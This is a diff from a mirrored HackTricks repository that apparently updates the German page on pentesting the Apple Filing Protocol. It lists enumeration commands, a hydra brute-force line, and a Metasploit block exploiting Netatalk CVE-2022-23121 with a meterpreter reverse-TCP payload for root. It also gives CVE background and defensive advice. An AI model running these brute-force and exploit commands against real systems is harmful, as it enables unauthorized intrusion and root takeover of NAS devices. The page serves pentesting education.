mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
parent
0c70c0632d
commit
5d02c9f6af
@ -4,27 +4,109 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Das **Apple Filing Protocol** (**AFP**), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisierter Netzwerkprotokoll, das im **Apple File Service** (**AFS**) enthalten ist. Es wurde entwickelt, um Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich durch die Unterstützung von Unicode-Dateinamen, POSIX- und Zugriffssteuerlistenberechtigungen, Ressourcen-Forks, benannten erweiterten Attributen und ausgeklügelten Dateisperrmechanismen aus. Es war das Hauptprotokoll für Dateidienste in Mac OS 9 und früheren Versionen.
|
||||
Das **Apple Filing Protocol** (**AFP**), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisiertes Netzwerkprotokoll, das innerhalb des **Apple File Service** (**AFS**) enthalten ist. Es wurde entwickelt, um Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich durch die Unterstützung von Unicode-Dateinamen, POSIX-ähnlichen und ACL-Berechtigungen, Ressourcen-Forks, benannten erweiterten Attributen und ausgeklügelten Dateisperrmechanismen aus.
|
||||
|
||||
**Standardport:** 548
|
||||
Obwohl AFP in modernen macOS-Versionen von SMB abgelöst wurde (SMB ist seit OS X 10.9 der Standard), trifft man es immer noch an in:
|
||||
|
||||
* Legacy macOS / Mac OS 9 Umgebungen
|
||||
* NAS-Geräten (QNAP, Synology, Western Digital, TrueNAS…), die den Open-Source **Netatalk** Daemon einbetten
|
||||
* Gemischten OS-Netzwerken, in denen Time-Machine-over-AFP weiterhin aktiviert ist
|
||||
|
||||
**Standard TCP-Port:** **548** (AFP über TCP / DSI)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
### **Enumeration**
|
||||
---
|
||||
|
||||
Für die Enumeration von AFP-Diensten sind die folgenden Befehle und Skripte nützlich:
|
||||
## Aufzählung
|
||||
|
||||
### Schnelles Banner / Serverinfo
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
# Metasploit auxiliary
|
||||
use auxiliary/scanner/afp/afp_server_info
|
||||
run RHOSTS=<IP>
|
||||
|
||||
# Nmap NSE
|
||||
nmap -p 548 -sV --script "afp-* and not dos" <IP>
|
||||
```
|
||||
**Skripte und deren Beschreibungen:**
|
||||
Nützliche AFP NSE-Skripte:
|
||||
|
||||
- **afp-ls**: Dieses Skript wird verwendet, um die verfügbaren AFP-Volumes und Dateien aufzulisten.
|
||||
- **afp-path-vuln**: Es listet alle AFP-Volumes und Dateien auf und hebt potenzielle Schwachstellen hervor.
|
||||
- **afp-serverinfo**: Dies liefert detaillierte Informationen über den AFP-Server.
|
||||
- **afp-showmount**: Es listet verfügbare AFP-Freigaben zusammen mit ihren jeweiligen ACLs auf.
|
||||
| Skript | Was es tut |
|
||||
|---------------------|-------------------------------------|
|
||||
| **afp-ls** | Listet verfügbare AFP-Volumes und Dateien auf |
|
||||
| **afp-brute** | Passwort-Brute-Force gegen AFP-Login |
|
||||
| **afp-serverinfo** | Gibt Servername, Maschinentyp, AFP-Version, unterstützte UAMs usw. aus |
|
||||
| **afp-showmount** | Listet Freigaben zusammen mit ihren ACLs auf |
|
||||
| **afp-path-vuln** | Erkennt (und kann ausnutzen) Verzeichnisdurchquerung, CVE-2010-0533 |
|
||||
|
||||
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
|
||||
Das NSE-Brute-Force-Skript kann mit Hydra/Medusa kombiniert werden, wenn mehr Kontrolle erforderlich ist:
|
||||
```bash
|
||||
hydra -L users.txt -P passwords.txt afp://<IP>
|
||||
```
|
||||
### Interacting with shares
|
||||
|
||||
*macOS*
|
||||
```bash
|
||||
# Finder → Go → "Connect to Server…"
|
||||
# or from terminal
|
||||
mkdir /Volumes/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
|
||||
```
|
||||
*Linux* (unter Verwendung von `afpfs-ng` ‑ in den meisten Distributionen verpackt)
|
||||
```bash
|
||||
apt install afpfs-ng
|
||||
mkdir /mnt/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
|
||||
# or interactive client
|
||||
afp_client <IP>
|
||||
```
|
||||
Sobald gemountet, denken Sie daran, dass klassische Mac-Ressourcen-Forks als versteckte `._*` AppleDouble-Dateien gespeichert werden – diese enthalten oft interessante Metadaten, die DFIR-Tools übersehen.
|
||||
|
||||
---
|
||||
|
||||
## Häufige Schwachstellen & Ausnutzung
|
||||
|
||||
### Netatalk nicht authentifizierte RCE-Kette (2022)
|
||||
|
||||
Mehrere NAS-Anbieter lieferten **Netatalk ≤3.1.12**. Ein Mangel an Grenzkontrollen in `parse_entries()` ermöglicht es einem Angreifer, einen bösartigen **AppleDouble**-Header zu erstellen und **remote root** vor der Authentifizierung zu erlangen (**CVSS 9.8 – CVE-2022-23121**). Ein vollständiger Bericht von NCC Group mit PoC, das Western-Digital PR4100 ausnutzt, ist verfügbar.
|
||||
|
||||
Metasploit (>= 6.3) liefert das Modul `exploit/linux/netatalk/parse_entries`, das die Nutzlast über DSI `WRITE` bereitstellt.
|
||||
```bash
|
||||
use exploit/linux/netatalk/parse_entries
|
||||
set RHOSTS <IP>
|
||||
set TARGET 0 # Automatic (Netatalk)
|
||||
set PAYLOAD linux/x64/meterpreter_reverse_tcp
|
||||
run
|
||||
```
|
||||
Wenn das Ziel eine betroffene QNAP/Synology-Firmware ausführt, führt eine erfolgreiche Ausnutzung zu einer Shell als **root**.
|
||||
|
||||
### Netatalk OpenSession Heap Overflow (2018)
|
||||
|
||||
Ältere Netatalk-Versionen (3.0.0 - 3.1.11) sind anfällig für einen Out-of-Bounds-Schreibvorgang im **DSI OpenSession**-Handler, der nicht authentifizierte Codeausführung ermöglicht (**CVE-2018-1160**). Eine detaillierte Analyse und ein PoC wurden von Tenable Research veröffentlicht.
|
||||
|
||||
### Weitere bemerkenswerte Probleme
|
||||
|
||||
* **CVE-2022-22995** – Symlink-Umleitung, die zu beliebigem Dateischreiben / RCE führt, wenn AppleDouble v2 aktiviert ist (3.1.0 - 3.1.17).
|
||||
* **CVE-2010-0533** – Verzeichnisdurchquerung in Apple Mac OS X 10.6 AFP (erkannt durch `afp-path-vuln.nse`).
|
||||
* Mehrere Speicher-Sicherheitsfehler wurden in **Netatalk 4.x (2024)** behoben – es wird empfohlen, ein Upgrade durchzuführen, anstatt einzelne CVEs zu patchen.
|
||||
|
||||
---
|
||||
|
||||
## Verteidigungsempfehlungen
|
||||
|
||||
1. **Deaktivieren Sie AFP**, es sei denn, es ist unbedingt erforderlich – verwenden Sie stattdessen SMB3 oder NFS.
|
||||
2. Wenn AFP bleiben muss, **aktualisieren Sie Netatalk auf ≥ 3.1.18 oder 4.x** oder wenden Sie die Firmware des Anbieters an, die die Patches von 2022/2023/2024 zurückportiert.
|
||||
3. Erzwingen Sie **starke UAMs** (z. B. *DHX2*), deaktivieren Sie Klartext- und Gastanmeldungen.
|
||||
4. Beschränken Sie TCP 548 auf vertrauenswürdige Subnetze und wickeln Sie AFP in ein VPN, wenn es remote exponiert ist.
|
||||
5. Scannen Sie regelmäßig mit `nmap -p 548 --script afp-*` in CI/CD, um rogue / downgraded Appliances zu erkennen.
|
||||
|
||||
---
|
||||
|
||||
### [Brute-Force](../generic-hacking/brute-force.md#afp)
|
||||
|
||||
## Referenzen
|
||||
|
||||
* Netatalk-Sicherheitsberatung CVE-2022-23121 – "Beliebige Codeausführung in parse_entries" <https://netatalk.io/security/CVE-2022-23121>
|
||||
* Tenable Research – "Exploiting an 18-Year-Old Bug (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user